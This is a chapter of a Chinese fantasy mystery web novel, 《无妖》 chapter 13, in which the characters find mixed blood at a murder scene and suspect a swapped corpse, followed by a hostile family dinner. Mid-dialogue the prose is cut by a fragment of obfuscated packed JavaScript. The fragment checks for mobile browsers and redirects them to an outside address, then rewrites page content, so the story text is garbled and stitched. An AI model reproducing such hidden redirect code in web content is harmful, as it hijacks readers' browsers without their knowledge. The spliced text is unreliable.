13. 第 13 章
作品:《无妖》 朱妙仪走回房间,正好碰见晴朝急匆匆向外走去。
“妙仪,你先一个人在屋里休息,我想去书房再看一眼。”
“等等,雀儿姐姐。”朱妙仪快步跟了上去。“我同你一起去。”
二人去往西院的路上,碰见了抱着剑一人站在原地愣神的颜琅。
“表哥!”
颜琅看见朱妙仪和晴朝有些诧异,开口问道:“你们怎么也来了?”
“也?”晴朝反问道:“还有谁过来了?”
“自然是唐大人啊。”颜琅用下巴指了指书房的方向,“我刚才是跟着唐大人一同过来的,他这会已经到钱员外书房去了。”
“唐亦景……”晴朝抬起脚刚想离开,却被朱妙仪拉住了胳膊。
“表哥,那你在此处做什么呢?”
“我在看钱家祠堂。”颜琅用剑柄指了指他面前的方向,朱妙仪和晴朝这才发现刚才颜琅并不是在发呆,而是在一直盯着眼前的钱家祠堂。
“我今天上午便觉得这祠堂有些古怪,只是又说不上来究竟哪里古怪,所以想着过来再看一眼。”
颜琅看向朱妙仪,忽然像想起来什么一样从袖中摸出一块手帕。
“书房内血腥味太重,你遮掩着口鼻就会好些。”
朱妙仪摆了摆手,“没事的表哥,我自己有手帕。”
“你的手帕金贵,哪能做这种污糟事,还是用我的手帕吧。”
朱妙仪有些不好意思地看了晴朝一眼,晴朝露出一个微笑,自觉地站到了一边。
“多谢表哥。”朱妙仪收下手帕,“那我们就先走了。”
到达钱员外的书房,唐亦景果然已经在那里了。
朱妙仪一边将颜琅的手帕围在口鼻处,一边开口叫道:“亦景哥哥。”
唐亦景对朱妙仪点了点头,但是在看向晴朝的时候仍然因为对方猛然撇开头而只能看到一个后脑勺。
“晴朝,你是不是也发现那尸体身上并无妖气了?”
唐亦景早在停尸房外面便意识到了晴朝的改口必定是事出有因。
晴朝坦然地点头,“唐亦景,但这并不证明我认为我对于这间书房内有妖气的判断有误。”
唐亦景没有继续反驳晴朝,只是指着一处血迹示意她们二人过来查看。
晴朝盯着那处血迹看了看,忽然伸出手用手指捻起一块血块,用拇指与食指对着揉搓了几下。
“这不是人血?”
朱妙仪一愣。
唐亦景开口解释道:“我也是刚刚才发现的,这应当是将人血与畜血混合在了一起,所以赵都头才没有立刻发觉。”
“真是奇怪,这案发现场怎么会出现畜血呢?”
“会不会是因为死的人根本就不是钱员外?”
晴朝与唐亦景同时看向说话的朱妙仪。
“我今天在停尸房的时候便发现那尸体的手有些不对劲,那双手虽然很干净,但却有好几处茧子。刚才我特意问过凝露,她告诉我钱员外自小家境优渥,在这种环境下长大的钱员外手上绝不可能有这么多老茧。”
“若真是如此,那也能够说通我为什么在书房内感受到了妖气,但在停尸房内却没有察觉到了。”
晴朝看向朱妙仪。
“妙仪,可是那尸体肯定是被钱家人确认过的啊,怎么会出现这种疏漏呢?”
唐亦景走上前来,“这便证明在钱家人中必定有人知道这个计划。”
晴朝恍然大悟,“钱大公子不在家,小公子年纪尚幼,辨认尸体的人只能是钱夫人了。”
“看来我那位姑母应当是对我们隐瞒了一些事情。”朱妙仪勾起嘴角,“今晚用晚食的时候我们应当是有好戏看了。”
走出书房,唐亦景唤住了晴朝。
“晴朝,我今日所言绝对没有冒犯你的意思。你是朱雀一族的族长,我知道朱雀冠羽对你来说很重要。”
晴朝停住脚步。
“只是我的拂尘乃是捉妖法器,若那人真的是在这间书房内被妖族所杀,拂尘是一定能够觉察到的。”
晴朝蓦的转过身来,颇有些不耐烦地问道:“你究竟想说什么?”
唐亦景垂下眼帘看着晴朝,目光很是坚定。
“我只是想告诉你,即使我认为这案子与妖族无关,但只要你想查,我便一定会陪着你在此地查出真相。”
朱妙仪在一旁听着唐亦景的话,抬起手默默捂住了自己的嘴巴。
晴朝没有再说话,只是撇了撇嘴,接着向唐亦景伸出自己刚摸过血迹的手。
唐亦景露出一个微笑,抬手用拂尘一挥,晴朝手指上刚才沾到的血污便瞬间不见了。
“走吧。”晴朝走上前拉住朱妙仪的胳膊,三人走出了西院。
到了傍晚朱妙仪才知道今晚和他们一同用餐的并不只有钱家人,跟着钱大公子一同回来的还有一个姓刘的商人,凝露介绍说这个商人是与钱大公子一同做生意的重要合伙人,钱员外生前也与他很是熟悉。
晚宴设立在东院的一座假山之上,沿着一条小溪拾级而上,一座赭色瓦顶的小亭立于假山顶部,檐角如鹊翼般斜斜翘起,檐下分别挂着几个小小的黄铜铃铛。
风过檐角,铜铃便坠下一串清响,初时如碎玉相击,尾音又似流云拂过松枝。
朱云窈现下已换下了丧服,只是在头上戴一朵白色的绢花表示尚在服丧期。亭中此时已经摆好桌椅,她坐在上首,右手边依次坐着两个年轻模样的男子。
见朱妙仪一行人走来,坐在朱云窈右手边第二位的男子迅速站起,拱手向他们一行人行礼。而坐在他旁边的男子只是在拿酒壶的过程中抬眸瞥了他们一眼,仿佛对于他们的到来十分不满。
朱妙仪眉毛微挑,看来这人应该就是钱家的大公子钱显孝了。
“大郎,这一位便是我曾向你提起过的朱二娘子。”朱云窈摸了摸坐在她身边年轻男子的胳膊,她的语气很温柔,但面上的微笑却有些僵硬。“按道理来说你应该唤她一声表妹的。”
钱显孝此时终于舍得抬起头来面对朱妙仪。这是一张棱角过于分明的脸庞,一双丹凤眼微微上挑,瞳孔却不是很大,因此在看人的时候总好像带着一股不屑的态度。
朱妙仪并不在意钱显孝看向自己的眼神中带有什么情绪,她只想赶紧结束这段对话,因此主动叉手行礼道:“见过表哥。”
朱妙仪本来以为钱显孝至少会象征性的向自己点一点头,没想到对方在听了自己说话后不仅没有回应,反而忽然放声大笑起来。
“真是奇怪,我外祖家只有我母亲一个女儿,又是从哪里冒出来的表妹呢?”说着话,钱显孝又开始往自己的酒盅中倒酒,朱妙仪这才发现他已不知何时将自己刚才酒盅里的酒又喝尽了。
朱云窈的神色立刻变了,虽然她的嘴角明明还保持着向上弯起的弧度,但眉头却悄悄皱起,在眉心中挤出一个浅浅的“川”字纹路。
“大郎糊涂了,这个表妹是我弟弟的女儿,不是你外祖家的。”
大约因为有客人在场,朱云窈还是想支撑着体面,因此即便钱显孝说话这样夹枪带棒,但还是微笑着继续说话,试图让尴尬的气氛缓和下来。
但很不幸的是,钱显孝并不打算让她如愿。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241763|197765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“我看是夫人糊涂了吧?我又不是夫人所生,与你娘家的人又有什么关系?”说完,钱显孝抬眸瞥了朱妙仪一眼。
“今日的钱家可真是不同于往日了,什么八竿子打不着的亲戚都敢来家里晃悠。原先我母亲执掌中馈之时,可从来不曾见过这种事情。”
朱妙仪本来已经在心里做好了思想建设,她知道钱显孝必然会将自己当做他与朱云窈之间斗法的工具,却没想到他说话竟会如此蛮不讲理。
即便他们一行人只是受赵刚之托前来钱府协助调查案情的陌生人,钱显孝也不应当如此慢待于他们。
朱妙仪刚准备说话,却见一只手轻轻放在了她的手背上,示意她站到后面去。
“颜某素日久闻钱公子大名,没想到今日一见果真是不同凡响,格外有个性啊。”颜琅走上前,看着钱显孝冷哼一声,“钱公子放心,我们几位家中虽然比不得您家财大气粗,但到底也是从来没缺过钱的,因此实在没有上赶着硬要跟您凑这门亲戚的道理。”
钱显孝本以为他们四人都不过是朱云窈不知道从哪招来的穷亲戚,因此刚才说话的时候才会格外不知分寸。这会听到颜琅说话,心中忽然迟疑了一下。
“你是哪位?也是朱家的亲戚吗?”
颜琅斜睨着钱显孝开口:“在下颜琅,是朱二娘子的表哥。”
钱显孝并未听过安南县附近有颜姓的高门大户,因此只当颜琅是个装模作样的无名小卒,正准备开口讥讽。
谁知就在这时,刚才向众人拱手行礼的刘姓商人忽然开口问道:“在下冒昧,敢问颜公子的父亲可是京兆府府尹颜崇礼颜大人吗?”
颜琅一怔,他着实没想到自己走到这里竟还能碰到知道自己父亲名讳的人。
“确实是家父,敢问您是?”
那商人的神情像是吃了一惊,但随即开口说道:“在下刘绍,是与钱大公子一同做生意的商人,平日喜好收集字画。在下曾有幸见过尊父一幅墨宝,尊父的小草笔法真可谓是精钢百炼,令人感到惊心动魄啊。”
颜琅的父亲确实有在闲暇时写字的爱好。听了刘绍的话,颜琅抱拳行礼道谢。“刘兄谬赞,家父无聊时确实喜欢写字,此番回京我定当将刘兄的称赞转告家父。”
与刘绍客套结束,颜琅再次将目光转回到桌子上,却意外发现另外两人也已变了脸色。
朱云窈似乎并不相信颜琅刚才所说的话,因为她正在用一副审视的眼光上下打量着颜琅。
而从刚才起一直出言不逊的钱显孝此时已站起身来,他的脸上再也找不出刚才的嚣张气焰,反而是眉开眼笑地对着颜琅说道:“在下竟不知是颜公子远道而来,有失远迎实在是惭愧、惭愧啊。”
说着,钱显孝便端起自己面前的酒盅,“既然如此,在下这就自罚一杯略表歉意。”
晴朝有些惊讶地看着钱显孝与刚才判若两人的样子,而唐亦景与朱妙仪却是对视一眼,皆露出一个鄙夷的表情。
“来来来,颜公子快请上座!”说着话,钱显孝便要向颜琅走过来,只是不知是不是因为刚才那几杯酒的关系,钱显孝在起身时打了个趔趄,还好被刘绍及时扶住才没有摔倒。
“刘绍,你还愣在这里做什么?还不赶紧把颜公子请过来入座!”
刘绍搀扶着钱显孝坐回座位上,他的面上并没有什么表情,俨然一副对钱显孝的酒后失态早已习惯的样子。
“颜公子,您快坐下!请坐,请坐啊!”
颜琅表明身份乃是不愿意听到钱显孝的冷嘲热讽,但现在听着钱显孝对自己的阿谀奉承,颜琅竟又有些怀念刚才桀骜不驯的钱显孝来。

